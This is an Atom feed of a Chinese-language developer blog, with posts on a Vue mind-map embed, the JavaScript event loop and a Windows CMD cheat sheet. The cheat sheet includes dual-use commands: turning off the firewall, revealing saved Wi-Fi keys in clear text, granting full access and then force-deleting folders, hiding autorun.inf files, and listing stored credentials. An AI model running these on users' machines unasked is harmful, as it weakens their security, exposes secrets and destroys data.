<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Reiki</title>
  
  <subtitle>Sky</subtitle>
  <link href="https://wyy.hair/atom.xml" rel="self"/>
  
  <link href="https://wyy.hair/"/>
  <updated>2026-01-14T08:59:49.187Z</updated>
  <id>https://wyy.hair/</id>
  
  <author>
    <name>Reiki</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Vue</title>
    <link href="https://wyy.hair/posts/f8e09374/"/>
    <id>https://wyy.hair/posts/f8e09374/</id>
    <published>2026-01-14T08:47:18.000Z</published>
    <updated>2026-01-14T08:59:49.187Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="思维导图"><a href="#思维导图" class="headerlink" title="思维导图"></a>思维导图</h1>    <div id="xmind-a5cr9p1" style="height: 600px; width: 100%; background: #f5f5f5; border: 1px solid #ddd; border-radius: 8px; position: relative;">      <div id="xmind-a5cr9p1-msg" style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #666;">        正在加载思维导图...      </div>    </div>    <script>    (function() {      const init = () => {        const container = document.getElementById('xmind-a5cr9p1');        const msgBox = document.getElementById('xmind-a5cr9p1-msg');                // 检查库是否加载        if (typeof XMindEmbedViewer === 'undefined') {          // 动态加载 jsDelivr 的库 (国内速度快)          const script = document.createElement('script');          script.src = 'https://unpkg.com/xmind-embed-viewer@1.2.0/dist/umd/xmind-embed-viewer.js';          script.onload = runViewer;          script.onerror = () => { msgBox.innerText = '错误：Viewer 脚本加载失败，请检查网络'; };          document.head.appendChild(script);        } else {          runViewer();        }        function runViewer() {          // 2. 初始化 Viewer          const viewer = new XMindEmbedViewer({            el: '#xmind-a5cr9p1',            region: 'cn', // <--- 关键！国内必须加这个！            styles: { height: '100%', width: '100%' } // 确保撑满容器          });          // 3. 使用 Fetch 加载文件 (你刚才尝试的方式)          fetch('/charts/vue知识体系.xmind')            .then(res => {              if (!res.ok) {                throw new Error('HTTP ' + res.status + ' ' + res.statusText);              }              return res.arrayBuffer();            })            .then(file => {              viewer.load(file);              msgBox.style.display = 'none'; // 加载成功，隐藏提示文字            })            .catch(err => {              console.error('XMind Load Error:', err);              msgBox.innerHTML = '<span style="color:red">加载失败: ' + err.message + '<br>请按 F12 查看 Console</span>';            });        }      };      // 启动逻辑      if (document.readyState === 'complete') init();      else window.addEventListener('load', init);    })();    </script>  ]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Vue" scheme="https://wyy.hair/tags/Vue/"/>
    
  </entry>
  
  <entry>
    <title>浏览器渲染原理【核心】</title>
    <link href="https://wyy.hair/posts/59a30241/"/>
    <id>https://wyy.hair/posts/59a30241/</id>
    <published>2025-10-10T07:50:41.000Z</published>
    <updated>2025-12-30T04:58:52.345Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><iframesrc="/lib/pdfjs/web/viewer.html?file=/pdf/clientRender.pdf"width="100%"height="800px"style="border: none;"></iframe>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="JS" scheme="https://wyy.hair/tags/JS/"/>
    
  </entry>
  
  <entry>
    <title>JS-事件循环【核心】</title>
    <link href="https://wyy.hair/posts/83336613/"/>
    <id>https://wyy.hair/posts/83336613/</id>
    <published>2025-10-10T07:30:38.000Z</published>
    <updated>2025-12-30T04:54:17.882Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="事件循环"><a href="#事件循环" class="headerlink" title="事件循环"></a>事件循环</h1><h2 id="浏览器的进程模型"><a href="#浏览器的进程模型" class="headerlink" title="浏览器的进程模型"></a>浏览器的进程模型</h2><h3 id="何为进程？"><a href="#何为进程？" class="headerlink" title="何为进程？"></a>何为进程？</h3><p>程序运行需要有它自己专属的内存空间，可以把这块内存空间简单的理解为进程</p><img src="/posts/83336613/202208092057573.png" class="" title="image-20220809210859457"><p>每个应用至少有一个进程，进程之间相互独立，即使要通信，也需要双方同意。</p><h3 id="何为线程？"><a href="#何为线程？" class="headerlink" title="何为线程？"></a>何为线程？</h3><p>有了进程后，就可以运行程序的代码了。</p><p>运行代码的「人」称之为「线程」。</p><p>一个进程至少有一个线程，所以在进程开启后会自动创建一个线程来运行代码，该线程称之为主线程。</p><p>如果程序需要同时执行多块代码，主线程就会启动更多的线程来执行代码，所以一个进程中可以包含多个线程。</p><img src="/posts/83336613/202208092108499.png" class="" title="image-20220809210859457"><h3 id="浏览器有哪些进程和线程？"><a href="#浏览器有哪些进程和线程？" class="headerlink" title="浏览器有哪些进程和线程？"></a>浏览器有哪些进程和线程？</h3><p><strong>浏览器是一个多进程多线程的应用程序</strong></p><p>浏览器内部工作极其复杂。</p><p>为了避免相互影响，为了减少连环崩溃的几率，当启动浏览器后，它会自动启动多个进程。</p><img src="/posts/83336613/202208092131410.png" class="" title="image-20220809213152371"><blockquote><p>可以在浏览器的任务管理器中查看当前的所有进程</p></blockquote><p>其中，最主要的进程有：</p><ol><li><p>浏览器进程</p><p>主要负责界面显示、用户交互、子进程管理等。浏览器进程内部会启动多个线程处理不同的任务。</p></li><li><p>网络进程</p><p>负责加载网络资源。网络进程内部会启动多个线程来处理不同的网络任务。</p></li><li><p><strong>渲染进程</strong>（本节课重点讲解的进程）</p><p>渲染进程启动后，会开启一个<strong>渲染主线程</strong>，主线程负责执行 HTML、CSS、JS 代码。</p><p>默认情况下，浏览器会为每个标签页开启一个新的渲染进程，以保证不同的标签页之间不相互影响。</p><blockquote><p>将来该默认模式可能会有所改变，有兴趣的同学可参见<a href="https://chromium.googlesource.com/chromium/src/+/main/docs/process_model_and_site_isolation.md#Modes-and-Availability">chrome官方说明文档</a></p></blockquote></li></ol><h2 id="渲染主线程是如何工作的？"><a href="#渲染主线程是如何工作的？" class="headerlink" title="渲染主线程是如何工作的？"></a>渲染主线程是如何工作的？</h2><p>渲染主线程是浏览器中最繁忙的线程，需要它处理的任务包括但不限于：</p><ul><li>解析 HTML</li><li>解析 CSS</li><li>计算样式</li><li>布局</li><li>处理图层</li><li>每秒把页面画 60 次</li><li>执行全局 JS 代码</li><li>执行事件处理函数</li><li>执行计时器的回调函数</li><li>……</li></ul><blockquote><p>思考题：为什么渲染进程不适用多个线程来处理这些事情？</p></blockquote><p>要处理这么多的任务，主线程遇到了一个前所未有的难题：如何调度任务？</p><p>比如：</p><ul><li>我正在执行一个 JS 函数，执行到一半的时候用户点击了按钮，我该立即去执行点击事件的处理函数吗？</li><li>我正在执行一个 JS 函数，执行到一半的时候某个计时器到达了时间，我该立即去执行它的回调吗？</li><li>浏览器进程通知我“用户点击了按钮”，与此同时，某个计时器也到达了时间，我应该处理哪一个呢？</li><li>……</li></ul><p>渲染主线程想出了一个绝妙的主意来处理这个问题：排队</p><img src="/posts/83336613/202208092230847.png" class="" title="image-20220809223027806"><ol><li>在最开始的时候，渲染主线程会进入一个无限循环</li><li>每一次循环会检查消息队列中是否有任务存在。如果有，就取出第一个任务执行，执行完一个后进入下一次循环；如果没有，则进入休眠状态。</li><li>其他所有线程（包括其他进程的线程）可以随时向消息队列添加任务。新任务会加到消息队列的末尾。在添加新任务时，如果主线程是休眠状态，则会将其唤醒以继续循环拿取任务</li></ol><p>这样一来，就可以让每个任务有条不紊的、持续的进行下去了。</p><p><strong>整个过程，被称之为事件循环（消息循环）</strong></p><h2 id="若干解释"><a href="#若干解释" class="headerlink" title="若干解释"></a>若干解释</h2><h3 id="何为异步？"><a href="#何为异步？" class="headerlink" title="何为异步？"></a>何为异步？</h3><p>代码在执行过程中，会遇到一些无法立即处理的任务，比如：</p><ul><li>计时完成后需要执行的任务 —— <code>setTimeout</code>、<code>setInterval</code></li><li>网络通信完成后需要执行的任务 – <code>XHR</code>、<code>Fetch</code></li><li>用户操作后需要执行的任务 – <code>addEventListener</code></li></ul><p>如果让渲染主线程等待这些任务的时机达到，就会导致主线程长期处于「阻塞」的状态，从而导致浏览器「卡死」</p><img src="/posts/83336613/202208101043348.png" class="" title="image-20220810104344296"><p><strong>渲染主线程承担着极其重要的工作，无论如何都不能阻塞！</strong></p><p>因此，浏览器选择<strong>异步</strong>来解决这个问题</p><img src="/posts/83336613/202208101048899.png" class="" title="image-20220810104858857"><p>使用异步的方式，<strong>渲染主线程永不阻塞</strong></p><blockquote><p>面试题：如何理解 JS 的异步？</p><p>参考答案：</p><p>JS是一门单线程的语言，这是因为它运行在浏览器的渲染主线程中，而渲染主线程只有一个。</p><p>而渲染主线程承担着诸多的工作，渲染页面、执行 JS 都在其中运行。</p><p>如果使用同步的方式，就极有可能导致主线程产生阻塞，从而导致消息队列中的很多其他任务无法得到执行。这样一来，一方面会导致繁忙的主线程白白的消耗时间，另一方面导致页面无法及时更新，给用户造成卡死现象。</p><p>所以浏览器采用异步的方式来避免。具体做法是当某些任务发生时，比如计时器、网络、事件监听，主线程将任务交给其他线程去处理，自身立即结束任务的执行，转而执行后续代码。当其他线程完成时，将事先传递的回调函数包装成任务，加入到消息队列的末尾排队，等待主线程调度执行。</p><p>在这种异步模式下，浏览器永不阻塞，从而最大限度的保证了单线程的流畅运行。</p></blockquote><h3 id="JS为何会阻碍渲染？"><a href="#JS为何会阻碍渲染？" class="headerlink" title="JS为何会阻碍渲染？"></a>JS为何会阻碍渲染？</h3><p>先看代码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>Mr.Yuan is awesome!<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">button</span>&gt;</span>change<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="keyword">var</span> h1 = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;h1&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">  <span class="keyword">var</span> btn = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;button&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="comment">// 死循环指定的时间</span></span></span><br><span class="line"><span class="language-javascript">  <span class="keyword">function</span> <span class="title function_">delay</span>(<span class="params">duration</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> start = <span class="title class_">Date</span>.<span class="title function_">now</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">while</span> (<span class="title class_">Date</span>.<span class="title function_">now</span>() - start &lt; duration) &#123;&#125;</span></span><br><span class="line"><span class="language-javascript">  &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  btn.<span class="property">onclick</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    h1.<span class="property">textContent</span> = <span class="string">&#x27;袁老师很帅！&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">delay</span>(<span class="number">3000</span>);</span></span><br><span class="line"><span class="language-javascript">  &#125;;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>点击按钮后，会发生什么呢？</p><p>&lt;见具体演示&gt;</p><h3 id="任务有优先级吗？"><a href="#任务有优先级吗？" class="headerlink" title="任务有优先级吗？"></a>任务有优先级吗？</h3><p>任务没有优先级，在消息队列中先进先出</p><p>但<strong>消息队列是有优先级的</strong></p><p>根据 W3C 的最新解释:</p><ul><li>每个任务都有一个任务类型，同一个类型的任务必须在一个队列，不同类型的任务可以分属于不同的队列。<br>在一次事件循环中，浏览器可以根据实际情况从不同的队列中取出任务执行。</li><li>浏览器必须准备好一个微队列，微队列中的任务优先所有其他任务执行<br><a href="https://html.spec.whatwg.org/multipage/webappapis.html#perform-a-microtask-checkpoint">https://html.spec.whatwg.org/multipage/webappapis.html#perform-a-microtask-checkpoint</a></li></ul><blockquote><p>随着浏览器的复杂度急剧提升，W3C 不再使用宏队列的说法</p></blockquote><p>在目前 chrome 的实现中，至少包含了下面的队列：</p><ul><li>延时队列：用于存放计时器到达后的回调任务，优先级「中」</li><li>交互队列：用于存放用户操作后产生的事件处理任务，优先级「高」</li><li>微队列：用户存放需要最快执行的任务，优先级「最高」</li></ul><blockquote><p>添加任务到微队列的主要方式主要是使用 Promise、MutationObserver</p><p>例如：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 立即把一个函数添加到微队列</span></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">resolve</span>().<span class="title function_">then</span>(函数)</span><br></pre></td></tr></table></figure></blockquote><blockquote><p>浏览器还有很多其他的队列，由于和我们开发关系不大，不作考虑</p></blockquote><blockquote><p>面试题：阐述一下 JS 的事件循环</p><p>参考答案：</p><p>事件循环又叫做消息循环，是浏览器渲染主线程的工作方式。</p><p>在 Chrome 的源码中，它开启一个不会结束的 for 循环，每次循环从消息队列中取出第一个任务执行，而其他线程只需要在合适的时候将任务加入到队列末尾即可。</p><p>过去把消息队列简单分为宏队列和微队列，这种说法目前已无法满足复杂的浏览器环境，取而代之的是一种更加灵活多变的处理方式。</p><p>根据 W3C 官方的解释，每个任务有不同的类型，同类型的任务必须在同一个队列，不同的任务可以属于不同的队列。不同任务队列有不同的优先级，在一次事件循环中，由浏览器自行决定取哪一个队列的任务。但浏览器必须有一个微队列，微队列的任务一定具有最高的优先级，必须优先调度执行。</p></blockquote><blockquote><p>面试题：JS 中的计时器能做到精确计时吗？为什么？</p><p>参考答案：</p><p>不行，因为：</p><ol><li>计算机硬件没有原子钟，无法做到精确计时</li><li>操作系统的计时函数本身就有少量偏差，由于 JS 的计时器最终调用的是操作系统的函数，也就携带了这些偏差</li><li>按照 W3C 的标准，浏览器实现计时器时，如果嵌套层级超过 5 层，则会带有 4 毫秒的最少时间，这样在计时时间少于 4 毫秒时又带来了偏差</li><li>受事件循环的影响，计时器的回调函数只能在主线程空闲时运行，因此又带来了偏差</li></ol></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="JS" scheme="https://wyy.hair/tags/JS/"/>
    
  </entry>
  
  <entry>
    <title>CMD命令</title>
    <link href="https://wyy.hair/posts/3e5cd712/"/>
    <id>https://wyy.hair/posts/3e5cd712/</id>
    <published>2025-10-09T08:46:58.000Z</published>
    <updated>2025-12-30T04:54:17.865Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="CMD"><a href="#CMD" class="headerlink" title="CMD"></a>CMD</h3><blockquote><p>文件树</p><blockquote><p>tree &#x2F;f</p></blockquote><p>组策略 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpedit.msc</span><br></pre></td></tr></table></figure><p>防火墙</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall set allprofiles state off</span><br></pre></td></tr></table></figure><p>服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">services.msc</span><br></pre></td></tr></table></figure><p>设备管理器</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">devmgmt.msc</span><br></pre></td></tr></table></figure><p>证书</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certmgr.msc</span><br></pre></td></tr></table></figure><p>注册表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">regedit</span><br></pre></td></tr></table></figure><p>IP地址检测</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Nslookup</span><br></pre></td></tr></table></figure><p>计算机管理</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">compmgmt.msc</span><br></pre></td></tr></table></figure><p>windows版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">winver</span><br></pre></td></tr></table></figure><p>系统组件服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dcomcnfg</span><br></pre></td></tr></table></figure><p>监控TCP&#x2F;IP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -ano</span><br></pre></td></tr></table></figure><p>网路连接记录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net use</span><br></pre></td></tr></table></figure><p>本地安全策略</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">secpol.msc</span><br></pre></td></tr></table></figure></blockquote><blockquote><p>文件粉碎</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cacls &quot;D:\test*&quot; /T /E /C /G everone:F   # D:\test 文件绝对路径 * 目录下所有</span><br><span class="line">rd &quot;D:\test&quot; /s /q</span><br></pre></td></tr></table></figure><p>WIfi信息</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh wlan show profile</span><br><span class="line">netsh wlan show profile name=<span class="string">&quot;ssid&quot;</span> key=<span class="built_in">clear</span> </span><br></pre></td></tr></table></figure><p>ssid: 为wifi名称</p></blockquote><blockquote><p>隐藏文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">attrib +s +h +r +a f:\\logo.ico</span><br><span class="line">attrib +s +h +r +a f:\\autorun.inf</span><br></pre></td></tr></table></figure><p>显示文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">attrib -s -h -r -a f:\\logo.ico</span><br><span class="line">attrib -s -h -r -a f:\\autorun.inf</span><br></pre></td></tr></table></figure></blockquote><h4 id="一、系统管理命令"><a href="#一、系统管理命令" class="headerlink" title="一、系统管理命令"></a>一、系统管理命令</h4><ul><li>1.<strong>taskmgr</strong> - 打开任务管理器，监视进程和内存使用。</li><li>2.<strong>sfc &#x2F;scannow</strong> - 检查并修复系统文件。</li><li>3.<strong>eventvwr</strong> - 打开事件查看器，查看系统日志。</li><li>4.<strong>gpedit.msc</strong> - 配置系统的组策略。</li><li>5.<strong>regedit</strong> - 打开注册表编辑器。</li><li>6.<strong>hostname</strong> - 查看本机计算机名。</li><li>7.<strong>systeminfo</strong> - 显示系统的详细信息。</li><li>8.<strong>msconfig</strong> - 打开系统配置工具。</li><li>9.<strong>dxdiag</strong> - 检查 DirectX 信息。</li><li>10.<strong>winver</strong> - 查看当前 Windows 版本信息。</li><li>11.<strong>logoff</strong> - 注销当前用户。</li><li>12.<strong>shutdown &#x2F;s &#x2F;t 60</strong> - 60 秒后关机。</li><li>13.<strong>shutdown &#x2F;r &#x2F;t 60</strong> - 60 秒后重启。</li><li>14.<strong>slmgr.vbs -dli</strong> - 检查当前激活信息。</li><li>15.<strong>cmdkey &#x2F;list</strong> - 查看存储的凭据。</li></ul><h4 id="二、网络管理命令"><a href="#二、网络管理命令" class="headerlink" title="二、网络管理命令"></a>二、网络管理命令</h4><ul><li>16.<strong>ipconfig</strong> - 查看当前网络信息。</li><li>17.<strong>ipconfig &#x2F;flushdns</strong> - 清空本地 DNS 缓存。</li><li>18.<strong>ping [IP&#x2F;域名]</strong> - 测试网络连通性。</li><li>19.<strong>tracert [域名]</strong> - 跟踪路由。</li><li>20.<strong>nslookup</strong> - 查询 DNS 记录。</li><li>21.<strong>netstat -an</strong> - 查看当前网络连接。</li><li>22.<strong>arp -a</strong> - 查看 ARP 表。</li><li>23.<strong>netsh wlan show profiles</strong> - 查看保存的 Wi-Fi 信息。</li><li>24.<strong>netsh wlan show drivers</strong> - 查看无线网络的驱动信息。</li><li>25.<strong>route print</strong> - 显示路由表。</li><li>26.<strong>telnet [IP] [端口]</strong> - 测试远程端口连通性。</li><li>27.<strong>ftp</strong> - FTP 文件传输工具。</li><li>28.<strong>net use</strong> - 连接到共享文件夹。</li><li>29.<strong>mstsc</strong> - 打开远程桌面连接。</li><li>30.<strong>netsh winsock reset</strong> - 重置网络适配器。</li><li>31.<strong>pathping [域名&#x2F;IP]</strong> - 路由追踪工具，类似 tracert。</li><li>32.<strong>net start</strong> - 查看正在运行的网络服务。</li><li>33.<strong>net stop</strong> - 停止指定的服务。</li></ul><h4 id="三、文件和磁盘管理命令"><a href="#三、文件和磁盘管理命令" class="headerlink" title="三、文件和磁盘管理命令"></a>三、文件和磁盘管理命令</h4><ul><li>34.<strong>dir</strong> - 查看当前文件夹下的文件和子目录。</li><li>35.<strong>cd [路径]</strong> - 切换到指定目录。</li><li>36.<strong>mkdir [目录名]</strong> - 创建一个新目录。</li><li>37.<strong>rmdir &#x2F;s &#x2F;q [目录名]</strong> - 删除目录及其内容。</li><li>38.<strong>del [文件名]</strong> - 删除指定文件。</li><li>39.<strong>copy [源文件] [目标文件&#x2F;目录]</strong> - 复制文件。</li><li>40.<strong>move [源文件] [目标文件&#x2F;目录]</strong> - 移动文件。</li><li>41.<strong>robocopy [源目录] [目标目录]</strong> - 高级文件复制工具。</li><li>42.<strong>attrib</strong> - 查看或修改文件属性。</li><li>43.<strong>chkdsk [盘符]:</strong> - 检查磁盘错误。</li><li>44.<strong>diskpart</strong> - 打开磁盘管理工具。</li><li>45.<strong>cleanmgr</strong> - 打开磁盘清理工具。</li><li>46.<strong>format [盘符]: &#x2F;fs:ntfs</strong> - 格式化磁盘为 NTFS 格式。</li><li>47.<strong>fsutil fsinfo drives</strong> - 查看所有驱动器。</li><li>48.<strong>fsutil quota track [盘符]:</strong> - 启用磁盘空间配额管理。</li><li>49.<strong>vol [盘符]:</strong> - 查看卷标和序列号。</li><li>50.<strong>tree</strong> - 以树型结构显示目录结构。</li><li>51.<strong>xcopy [源路径] [目标路径] &#x2F;s</strong> - 递归复制文件夹。</li><li>52.<strong>compact &#x2F;c</strong> - 压缩指定文件或目录。</li><li>53.<strong>cipher &#x2F;e</strong> - 加密当前目录中的所有文件。</li></ul><h4 id="四、进程与服务管理命令"><a href="#四、进程与服务管理命令" class="headerlink" title="四、进程与服务管理命令"></a>四、进程与服务管理命令</h4><ul><li>54.<strong>tasklist</strong> - 查看当前所有运行的进程。</li><li>55.<strong>taskkill &#x2F;im [进程名] &#x2F;f</strong> - 强制终止某个进程。</li><li>56.<strong>sc query</strong> - 查看服务状态。</li><li>57.<strong>sc start [服务名]</strong> - 启动某个服务。</li><li>58.<strong>sc stop [服务名]</strong> - 停止某个服务。</li><li>59.<strong>wmic process get name</strong> - 查看当前进程详情。</li><li>60.<strong>wmic service list brief</strong> - 列出所有服务概览。</li><li>61.<strong>services.msc</strong> - 打开服务管理控制台。</li><li>62.<strong>perfmon.msc</strong> - 打开性能监视器。</li></ul><h4 id="五、本地用户和组管理命令"><a href="#五、本地用户和组管理命令" class="headerlink" title="五、本地用户和组管理命令"></a>五、本地用户和组管理命令</h4><ul><li>63.<strong>net user</strong> - 查看所有用户列表。</li><li>64.<strong>net user [用户名] [密码] &#x2F;add</strong> - 创建一个新用户。</li><li>65.<strong>net user [用户名] &#x2F;del</strong> - 删除用户。</li><li>66.<strong>net localgroup</strong> - 查看所有组。</li><li>67.<strong>net localgroup [组名] [用户名] &#x2F;add</strong> - 将用户添加到某个组。</li><li>68.<strong>net localgroup administrators [用户名] &#x2F;add</strong> - 提升为管理员权限。</li><li>69.<strong>control userpasswords2</strong> - 打开用户账户设置。</li><li>70.<strong>lusrmgr.msc</strong> - 打开本地用户和组管理界面。</li></ul><h4 id="六、安全和设置管理命令"><a href="#六、安全和设置管理命令" class="headerlink" title="六、安全和设置管理命令"></a>六、安全和设置管理命令</h4><ul><li>71.<strong>secpol.msc</strong> - 打开本地安全策略。</li><li>72.<strong>rsop.msc</strong> - 获取组策略结果集。</li><li>73.<strong>sigverif</strong> - 验证系统文件的数字签名。</li><li>74.<strong>syskey</strong> - 启用系统加密。</li><li>75.<strong>cipher &#x2F;w:[路径]</strong> - 擦除硬盘数据，使其不可恢复。</li><li>76.<strong>auditpol</strong> - 显示安全审计策略。</li></ul><h4 id="七、快捷工具命令"><a href="#七、快捷工具命令" class="headerlink" title="七、快捷工具命令"></a>七、快捷工具命令</h4><ul><li>77.<strong>calc</strong> - 打开计算器工具。</li><li>78.<strong>notepad</strong> - 打开记事本。</li><li>79.<strong>mspaint</strong> - 打开画图工具。</li><li>80.<strong>osk</strong> - 打开屏幕键盘。</li><li>81.<strong>snippingtool</strong> - 打开截图工具。</li><li>82.<strong>charmap</strong> - 启动字符映射表。</li><li>83.<strong>magnify</strong> - 打开放大镜。</li><li>84.<strong>write</strong> - 打开写字板。</li></ul><h4 id="八、系统信息与状态检查"><a href="#八、系统信息与状态检查" class="headerlink" title="八、系统信息与状态检查"></a>八、系统信息与状态检查</h4><ul><li>85.<strong>echo %username%</strong> - 显示当前登录的用户名。</li><li>86.<strong>whoami</strong> - 显示当前用户的完整身份信息。</li><li>87.<strong>set</strong> - 显示当前系统环境变量。</li><li>88.<strong>path</strong> - 查看或修改系统 PATH 变量。</li><li>89.<strong>systeminfo | findstr &#x2F;B &#x2F;C:”OS Name”</strong> - 查看系统名称。</li><li>90.<strong>powercfg &#x2F;batteryreport</strong> - 生成电池性能报告。</li><li>91.<strong>query user</strong> - 查看当前登录的所有用户。</li><li>92.<strong>fsutil dirty query [盘符]:</strong> - 检查磁盘是否被标记为脏。</li><li>93.<strong>driverquery</strong> - 查看当前系统中所有驱动程序。</li><li>94.<strong>schtasks</strong> - 管理计划任务。</li></ul><h4 id="九、常见命令组合（高频操作）"><a href="#九、常见命令组合（高频操作）" class="headerlink" title="九、常见命令组合（高频操作）"></a>九、常见命令组合（高频操作）</h4><ul><li>95.<strong>ipconfig &#x2F;all &gt; network.txt</strong> - 将网络配置信息保存到文件。</li><li>96.<strong>dir &#x2F;s &#x2F;p &gt; files.txt</strong> - 保存目录结构到文件。</li><li>97.<strong>tasklist | find “chrome”</strong> - 查找含特定名称的进程。</li><li>98.<strong>ping -t [IP地址]</strong> - 持续 ping 测试网络连通性。</li><li>99.<strong>netstat -an | find “LISTENING”</strong> - 查看所有监听端口。</li><li>100.<strong>shutdown &#x2F;a</strong> - 中止当前的关机操作。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="命令" scheme="https://wyy.hair/tags/%E5%91%BD%E4%BB%A4/"/>
    
  </entry>
  
  <entry>
    <title>Spring-boot</title>
    <link href="https://wyy.hair/posts/fde34da5/"/>
    <id>https://wyy.hair/posts/fde34da5/</id>
    <published>2025-05-30T06:11:58.000Z</published>
    <updated>2025-12-30T04:54:17.879Z</updated>
    
